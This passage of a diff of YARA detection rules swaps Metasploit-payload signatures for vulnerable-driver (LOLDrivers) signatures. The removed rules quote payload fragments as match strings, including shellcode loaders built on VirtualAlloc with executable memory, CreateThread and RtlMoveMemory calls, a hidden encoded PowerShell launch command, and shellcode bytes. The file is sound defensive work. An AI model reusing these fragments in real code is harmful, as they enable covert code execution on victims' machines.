+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5835-L5854"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d0bd1ae72aeb5f3eabf1531a635f990e5eaae7fdd560342f915f723766c80889"
+		logic_hash = "c285e87a94025916ed6d3fac65761d1ca4bef13102a0a37b256525bf651bd16c"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "= VirtualAlloc(IntPtr.Zero,(UIntPtr)" ascii
-		$s2 = ".Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);" ascii
-		$s3 = "[System.Runtime.InteropServices.DllImport(\"kernel32\")]" fullword ascii
-		$s4 = "private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;" fullword ascii
-		$s5 = "private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e00300031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e00300031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e }
 
 	condition:
-		4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_Exe_2
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Atlaccesssys_Windowsrwinddkdriver_0B57 : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf-exe.aspx"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a55a33e1-8f04-5417-af0c-b7e2da36fb46"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L123-L139"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bd82f496ade1a62e0aee8c8c90cee84377cb90adf11c87652082e74c8c85e568"
-		score = 75
-		quality = 83
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3a2f7a654c1100e64d8d3b4cd39165fba3b101bbcce6dd0f70dae863da338401"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - atlAccess.sys"
+		author = "Florian Roth"
+		id = "1c6be4ef-90f7-5b77-8490-0362233c02d9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5857-L5876"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0b57569aaa0f4789d9642dd2189b0a82466b80ad32ff35f88127210ed105fe57"
+		logic_hash = "93d5121da2037ffcc961550b6859bff4257f56b783d7c49e442dc97a3f9257ae"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$x1 = "= new System.Diagnostics.Process();" fullword ascii
-		$x2 = ".StartInfo.UseShellExecute = true;" fullword ascii
-		$x3 = ", \"svchost.exe\");" ascii
-		$s4 = " = Path.GetTempPath();" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530069006d0070006c0065002000500043004900200061006300630065007300730020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00610074006c004100630063006500730073002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00610074006c004100630063006500730073002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_5
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_909F : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf.msi"
-		author = "Florian Roth (Nextron Systems)"
-		id = "030d1982-c9a8-539d-a995-7901ae425857"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L141-L156"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cb602670329391b091f87818a0f5defaa8f688f7921978510739b96ca63a2f12"
-		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7a6c66dfc998bf5838993e40026e1f400acd018bde8d4c01ef2e2e8fba507065"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "f6ca1049-6a11-5bdb-a9b7-79200c57e339"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5879-L5898"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "909f6c4b8f779df01ef91e549679aa4600223ac75bc7f3a3a79a37cee2326e77"
+		logic_hash = "4e4a093fcdd97298aa6ead7c4412263837a7403f87b4d8f72e6ea27bc6f4d15f"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "required to install Foobar 1.0." fullword ascii
-		$s2 = "Copyright 2009 The Apache Software Foundation." fullword wide
-		$s3 = "{50F36D89-59A8-4A40-9689-8792029113AC}" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560049004400490041002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056004900440049004100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00300033002e00300036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00300033002e00300036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560049004400490041002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_6
+rule LOLDRIVERS_PUA_VULN_Driver_Zemanaltd_Zam_3C18 : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf.vbs"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5485102b-e709-5111-814a-e6878b4bd889"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L158-L177"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b9498828a55477049922e50329d0c38ee34b8484562113a2686669ccbb8b3318"
-		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8d6f55c6715c4a2023087c3d0d7abfa21e31a629393e4dc179d31bb25b166b3f"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys, zamguard32.sys, zamguard64.sys"
+		author = "Florian Roth"
+		id = "94b7a58c-0092-5d81-985f-330599efe25a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5901-L5917"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3c18ae965fba56d09a65770b4d8da54ccd7801f979d3ebd283397bc99646004b"
+		logic_hash = "4f958ccb21b5cbd28c25a9c2e1a08fcf00e24bfa9e7814b9e68b87814dd04f4c"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "= CreateObject(\"Wscript.Shell\")" fullword ascii
-		$s2 = "= CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
-		$s3 = ".GetSpecialFolder(2)" ascii
-		$s4 = ".Write Chr(CLng(\"" ascii
-		$s5 = "= \"4d5a90000300000004000000ffff00" ascii
-		$s6 = "For i = 1 to Len(" ascii
-		$s7 = ") Step 2" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310036002e003900320038 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		5 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_7
+rule LOLDRIVERS_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_2B4C : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf.vba"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8d1b742e-510a-5807-ad3f-f10cc325d292"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L179-L194"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "167d295de5ffc9c88cf72f086fef4514f08cc3b9dd2d93b3ec36acffd6430370"
-		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "425beff61a01e2f60773be3fcb74bdfc7c66099fe40b9209745029b3c19b5f2f"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		id = "a337e8f1-1473-51a4-9098-69719f0c48e4"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5920-L5939"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2b4c7d3820fe08400a7791e2556132b902a9bbadc1942de57077ecb9d21bf47a"
+		logic_hash = "3db68ef927d373e7774d52bbf1dccfa2960b4bb1b42a32a181ad9e1f00458f23"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal" ascii
-		$s2 = "= VirtualAlloc(0, UBound(Tsw), &H1000, &H40)" fullword ascii
-		$s3 = "= RtlMoveMemory(" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000370034002c00200030002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000370034002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_8
+rule LOLDRIVERS_PUA_VULN_Driver_Innotekgmbh_Iprt_Virtualboxguestadditions_BBF5 : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf.ps1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "54466663-12ef-5fa4-a13c-e80ddbc0f4f8"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L196-L215"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d2b26276843cdfef2d1458ee6c3e2ecea962d1cd42bc21b86ebd03599bebcbc6"
-		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "519717e01f0cb3f460ef88cd70c3de8c7f00fb7c564260bd2908e97d11fde87f"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxMouseNT.sys"
+		author = "Florian Roth"
+		id = "a1a4e7d1-5a54-5265-8911-117e50071c7e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5942-L5961"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "bbf564a02784d53b8006333406807c3539ee4a594585b1f3713325904cb730ec"
+		logic_hash = "7f5480d84195854bdc5c7554495e0ecd9b69b9c527152def1e85fd61084fd22d"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "[DllImport(\"kernel32.dll\")]" fullword ascii
-		$s2 = "[DllImport(\"msvcrt.dll\")]" fullword ascii
-		$s3 = "-Name \"Win32\" -namespace Win32Functions -passthru" fullword ascii
-		$s4 = "::VirtualAlloc(0,[Math]::Max($" ascii
-		$s5 = ".Length,0x1000),0x3000,0x40)" ascii
-		$s6 = "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);" fullword ascii
-		$s7 = "::memset([IntPtr]($" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200069003800300034003200200050006f007200740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0069006e006e006f00740065006b00200047006d00620048 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0035002e0036002e00320038003200340031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0035002e0036002e00320038003200340031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00690038003000340032007000720074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072007400750061006c0042006f00780020004700750065007300740020004100640064006900740069006f006e0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004d006f007500730065004e0054002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300034002d003200300030003700200069006e006e006f00740065006b00200047006d00620048 }
 
 	condition:
-		6 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_Cmd
+rule LOLDRIVERS_PUA_VULN_Driver_Tenasyscorporation_Rtifsys_Intime_9399 : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf-cmd.ps1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "71d42c34-a0b0-5173-8f2f-f48a7af0e4ff"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L217-L230"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ea44b3d00733eb7d4f924ccaece5265fcd90a462acb954a134b5355ecb0621e5"
-		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9f41932afc9b6b4938ee7a2559067f4df34a5c8eae73558a3959dd677cb5867f"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtif.sys"
+		author = "Florian Roth"
+		id = "30c2cc30-6613-5158-8cd1-b80eac8d6fbc"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5964-L5984"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9399f35b90f09b41f9eeda55c8e37f6d1cb22de6e224e54567d1f0865a718727"
+		hash = "a66b4420fa1df81a517e2bbea1a414b57721c67a4aa1df1967894f77e81d036e"
+		logic_hash = "92139b7123c13dc80c1671b92ad6d1c6d6f4d02e1a3bc07e95cac27c7d43df66"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$x1 = "%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049004e00740069006d006500200050006e00500020005200540020004b00650072006e0065006c00200049006e00740065007200660061006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00540065006e004100730079007300200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0034002e00320031003300340033002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0072007400690066002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049004e00740069006d0065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0072007400690066002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300032002d0032003000320031002000620079002000540065006e004100730079007300200043006f00720070006f0072006100740069006f006e002e }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_9 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Dtresearchinc_Iomemsys_Iomemsys_3D23 : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf.war - contents"
-		author = "Florian Roth (Nextron Systems)"
-		id = "488a2e97-ebc2-5ccf-ab5d-dfed4b534b52"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L232-L252"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b5761b51b79f83c48deafaf3786cb90ef493ab0448cd67b86655cecb0160a627"
-		score = 75
-		quality = 83
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iomem64.sys"
+		author = "Florian Roth"
+		id = "b29e4411-a408-5bd5-a763-73c18b85e2b2"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5987-L6006"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3d23bdbaf9905259d858df5bf991eb23d2dc9f4ecda7f9f77839691acef1b8c4"
+		logic_hash = "4f494f3f2367bbc5751a09b79775ea61f62986b82375c8c98bf6a77203174be1"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81"
 
 	strings:
-		$s1 = "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1)" fullword ascii
-		$s2 = ".concat(\".exe\");" fullword ascii
-		$s3 = "[0] = \"chmod\";" ascii
-		$s4 = "= Runtime.getRuntime().exec(" ascii
-		$s5 = ", 16) & 0xff;" ascii
-		$x1 = "4d5a9000030000000" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044005400520020004b00650072006e0065006c0020006d006f006400650020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440054002000520065007300650061007200630068002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0033002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0033002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0044005400200052006500730065006100720063006800200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		4 of ($s*) or ( uint32(0)==0x61356434 and $x1 at 0)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_10 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_496F : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3bc3b66a-9f8a-55c2-ae2a-00faa778cef7"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L254-L269"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c772fdc40e110ef1287da680dc4ef1718b86856abab4d814ec7bc2ee1e7808ee"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA.sys"
+		author = "Florian Roth"
+		id = "7754e086-1936-5e47-9576-ee940453c5e7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6009-L6028"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "496f4a4021226fb0f1b5f71a7634c84114c29faa308746a12c2414adb6b2a40b"
+		logic_hash = "405e7a16f8290d1d5462227ccf7d42e137bc98f084c9d5763b000d101e615c6a"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3cd74fa28323c0d64f45507675ac08fb09bae4dd6b7e11f2832a4fbc70bb7082"
 
 	strings:
-		$s1 = { 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 }
-		$s2 = { 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b }
-		$s3 = { 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0035002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0035002e0031002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300036002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Msfpayloads_Msf_Svc : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_1B00 : FILE
 {
 	meta:
-		description = "Metasploit Payloads - file msf-svc.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "45d1c527-1f90-50f3-8e64-e77d69386b0a"
-		date = "2017-02-09"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_metasploit_payloads.yar#L271-L285"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "21c6aa2333335a5822328fb5176ca37060eb401640ed5cc340aefb63685078f4"
-		score = 75
-		quality = 85
